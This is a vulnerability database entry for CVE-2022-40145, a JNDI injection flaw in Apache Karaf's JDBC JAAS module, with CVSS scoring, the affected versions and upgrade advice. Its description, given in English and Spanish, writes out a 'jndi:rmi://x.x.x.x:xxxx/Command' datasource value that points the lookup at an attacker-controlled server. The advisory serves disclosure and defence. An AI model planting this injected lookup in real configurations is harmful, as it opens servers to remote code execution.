// For flags

CVE-2022-40145

Apache Karaf: JDBC JAAS LDAP injection

Severity Score

9.8
*CVSS v3.1

Exploit Likelihood

*EPSS

Affected Versions

*CPE

Public Exploits

0
*Multiple Sources

Exploited in Wild

-
*KEV

Decision

-
*SSVC
Descriptions

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource
use InitialContext.lookup(jndiName) without filtering.
An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a
configuration uses a JNDI LDAP data source URI when an attacker has
control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Esta vulnerabilidad se trata de una posible inyección de código cuando un atacante tiene el control del servidor LDAP de destino utilizando la URL JDBC JNDI. La función jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sin filtrar. Un usuario puede modificar `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` a `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://xxxx:xxxx/Command ");` en JdbcLoginModuleTest#setup. Esto es vulnerable a un ataque de ejecución remota de código (RCE) cuando una configuración utiliza un URI de origen de datos LDAP JNDI cuando un atacante tiene control del servidor LDAP de destino. Este problema afecta a todas las versiones de Apache Karaf hasta 4.4.1 y 4.3.7. Animamos a los usuarios a actualizar a Apache Karaf al menos 4.4.2 o 4.3.8.

*Credits: Xun Bai <bbbbear68@gmail.com>
CVSS Scores
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
* Common Vulnerability Scoring System
SSVC
  • Decision:-
Exploitation
-
Automatable
-
Tech. Impact
-
* Organization's Worst-case Scenario
Timeline
  • 2022-09-07 CVE Reserved
  • 2022-12-21 CVE Published
  • 2024-07-13 EPSS Updated
  • 2024-08-03 CVE Updated
  • ---------- Exploited in Wild
  • ---------- KEV Due Date
  • ---------- First Exploit
CWE
  • CWE-20: Improper Input Validation
  • CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CAPEC
References (1)
Affected Vendors, Products, and Versions
Vendor Product Version Other Status
Vendor Product Version Other Status <-- --> Vendor Product Version Other Status
Apache
Search vendor "Apache"
Karaf
Search vendor "Apache" for product "Karaf"
< 4.3.8
Search vendor "Apache" for product "Karaf" and version " < 4.3.8"
-
Affected
Apache
Search vendor "Apache"
Karaf
Search vendor "Apache" for product "Karaf"
>= 4.4.0 < 4.4.2
Search vendor "Apache" for product "Karaf" and version " >= 4.4.0 < 4.4.2"
-
Affected